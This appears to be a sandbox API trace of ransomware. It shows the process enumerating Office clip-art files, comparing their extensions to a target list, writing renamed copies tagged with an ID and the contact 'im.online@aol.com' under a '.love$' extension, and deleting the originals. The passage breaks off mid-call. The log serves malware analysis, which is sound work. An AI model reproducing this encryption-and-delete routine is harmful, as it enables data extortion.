[0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.270] lstrlenW (lpString=".doc") returned 4 [0244.270] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.270] lstrlenW (lpString=".docx") returned 5 [0244.270] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.270] lstrlenW (lpString=".pdf") returned 4 [0244.270] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.270] lstrlenW (lpString=".xls") returned 4 [0244.270] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.270] lstrlenW (lpString=".xlsx") returned 5 [0244.270] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.270] lstrlenW (lpString=".ppt") returned 4 [0244.270] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.270] lstrlenW (lpString=".zip") returned 4 [0244.270] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.270] lstrlenW (lpString=".rar") returned 4 [0244.270] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.270] lstrlenW (lpString=".bz2") returned 4 [0244.270] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.270] lstrlenW (lpString=".7z") returned 3 [0244.270] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.270] lstrlenW (lpString=".dbf") returned 4 [0244.270] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.270] lstrlenW (lpString=".1cd") returned 4 [0244.270] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0244.270] lstrlenW (lpString=".jpg") returned 4 [0244.270] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.271] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.271] lstrlenW (lpString="FINCL_01.MID") returned 12 [0244.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0244.272] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=12981) returned 1 [0244.272] CloseHandle (hObject=0x538) returned 1 [0244.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0244.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0244.273] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.273] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0244.274] GetLastError () returned 0x0 [0244.274] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0244.301] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0244.303] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.303] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.303] SetEndOfFile (hFile=0x4ec) returned 1 [0244.303] CloseHandle (hObject=0x4ec) returned 1 [0244.303] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.303] SetEndOfFile (hFile=0x538) returned 1 [0244.308] CloseHandle (hObject=0x538) returned 1 [0244.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0244.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.629] lstrlenW (lpString=".doc") returned 4 [0244.629] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.629] lstrlenW (lpString=".docx") returned 5 [0244.629] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.629] lstrlenW (lpString=".pdf") returned 4 [0244.629] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.629] lstrlenW (lpString=".xls") returned 4 [0244.629] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.629] lstrlenW (lpString=".xlsx") returned 5 [0244.629] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.629] lstrlenW (lpString=".ppt") returned 4 [0244.629] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.629] lstrlenW (lpString=".zip") returned 4 [0244.629] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.629] lstrlenW (lpString=".rar") returned 4 [0244.629] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.629] lstrlenW (lpString=".bz2") returned 4 [0244.629] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.629] lstrlenW (lpString=".7z") returned 3 [0244.630] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".dbf") returned 4 [0244.630] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".1cd") returned 4 [0244.630] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".jpg") returned 4 [0244.630] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".doc") returned 4 [0244.630] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.630] lstrlenW (lpString=".docx") returned 5 [0244.630] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.630] lstrlenW (lpString=".pdf") returned 4 [0244.630] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.630] lstrlenW (lpString=".xls") returned 4 [0244.630] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.630] lstrlenW (lpString=".xlsx") returned 5 [0244.630] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.630] lstrlenW (lpString=".ppt") returned 4 [0244.630] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".zip") returned 4 [0244.630] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.630] lstrlenW (lpString=".rar") returned 4 [0244.630] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.630] lstrlenW (lpString=".bz2") returned 4 [0244.630] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.630] lstrlenW (lpString=".7z") returned 3 [0244.630] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.630] lstrlenW (lpString=".dbf") returned 4 [0244.630] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.631] lstrlenW (lpString=".1cd") returned 4 [0244.631] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0244.631] lstrlenW (lpString=".jpg") returned 4 [0244.631] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.631] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.631] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0244.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.756] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7567) returned 1 [0244.757] CloseHandle (hObject=0x418) returned 1 [0244.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0244.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.760] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.760] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.762] GetLastError () returned 0x0 [0244.762] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0244.765] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0244.766] ReadFile (in: hFile=0x418, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.766] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.766] SetEndOfFile (hFile=0x4c8) returned 1 [0244.766] CloseHandle (hObject=0x4c8) returned 1 [0244.767] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.767] SetEndOfFile (hFile=0x418) returned 1 [0244.771] CloseHandle (hObject=0x418) returned 1 [0244.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0244.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.773] lstrlenW (lpString=".doc") returned 4 [0244.773] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.773] lstrlenW (lpString=".docx") returned 5 [0244.773] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.773] lstrlenW (lpString=".pdf") returned 4 [0244.773] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.773] lstrlenW (lpString=".xls") returned 4 [0244.773] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.773] lstrlenW (lpString=".xlsx") returned 5 [0244.773] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.773] lstrlenW (lpString=".ppt") returned 4 [0244.773] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.773] lstrlenW (lpString=".zip") returned 4 [0244.773] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.773] lstrlenW (lpString=".rar") returned 4 [0244.774] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.774] lstrlenW (lpString=".bz2") returned 4 [0244.774] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.774] lstrlenW (lpString=".7z") returned 3 [0244.774] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.774] lstrlenW (lpString=".dbf") returned 4 [0244.774] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.774] lstrlenW (lpString=".1cd") returned 4 [0244.774] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.774] lstrlenW (lpString=".jpg") returned 4 [0244.774] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.774] lstrlenW (lpString=".doc") returned 4 [0244.774] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.774] lstrlenW (lpString=".docx") returned 5 [0244.774] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.774] lstrlenW (lpString=".pdf") returned 4 [0244.774] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.774] lstrlenW (lpString=".xls") returned 4 [0244.774] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.774] lstrlenW (lpString=".xlsx") returned 5 [0244.775] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.775] lstrlenW (lpString=".ppt") returned 4 [0244.775] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.775] lstrlenW (lpString=".zip") returned 4 [0244.775] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.775] lstrlenW (lpString=".rar") returned 4 [0244.775] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.775] lstrlenW (lpString=".bz2") returned 4 [0244.775] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.775] lstrlenW (lpString=".7z") returned 3 [0244.775] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.775] lstrlenW (lpString=".dbf") returned 4 [0244.775] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.775] lstrlenW (lpString=".1cd") returned 4 [0244.775] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0244.776] lstrlenW (lpString=".jpg") returned 4 [0244.776] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.776] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.776] lstrlenW (lpString="HTECH_01.MID") returned 12 [0244.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.779] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7178) returned 1 [0244.779] CloseHandle (hObject=0x4e8) returned 1 [0244.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0244.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.783] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.783] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.784] GetLastError () returned 0x0 [0244.784] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0244.787] WriteFile (in: hFile=0x418, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0244.788] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.788] WriteFile (in: hFile=0x418, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.788] SetEndOfFile (hFile=0x418) returned 1 [0244.789] CloseHandle (hObject=0x418) returned 1 [0244.789] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.789] SetEndOfFile (hFile=0x4e8) returned 1 [0244.795] CloseHandle (hObject=0x4e8) returned 1 [0244.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0244.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.797] lstrlenW (lpString=".doc") returned 4 [0244.797] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.797] lstrlenW (lpString=".docx") returned 5 [0244.797] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.797] lstrlenW (lpString=".pdf") returned 4 [0244.797] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.797] lstrlenW (lpString=".xls") returned 4 [0244.797] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.797] lstrlenW (lpString=".xlsx") returned 5 [0244.797] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.797] lstrlenW (lpString=".ppt") returned 4 [0244.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.797] lstrlenW (lpString=".zip") returned 4 [0244.797] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.797] lstrlenW (lpString=".rar") returned 4 [0244.797] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.797] lstrlenW (lpString=".bz2") returned 4 [0244.798] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.798] lstrlenW (lpString=".7z") returned 3 [0244.798] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.798] lstrlenW (lpString=".dbf") returned 4 [0244.798] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.798] lstrlenW (lpString=".1cd") returned 4 [0244.798] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.798] lstrlenW (lpString=".jpg") returned 4 [0244.798] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.798] lstrlenW (lpString=".doc") returned 4 [0244.798] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.798] lstrlenW (lpString=".docx") returned 5 [0244.798] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.798] lstrlenW (lpString=".pdf") returned 4 [0244.798] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.798] lstrlenW (lpString=".xls") returned 4 [0244.798] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.798] lstrlenW (lpString=".xlsx") returned 5 [0244.798] lstrcmpiW 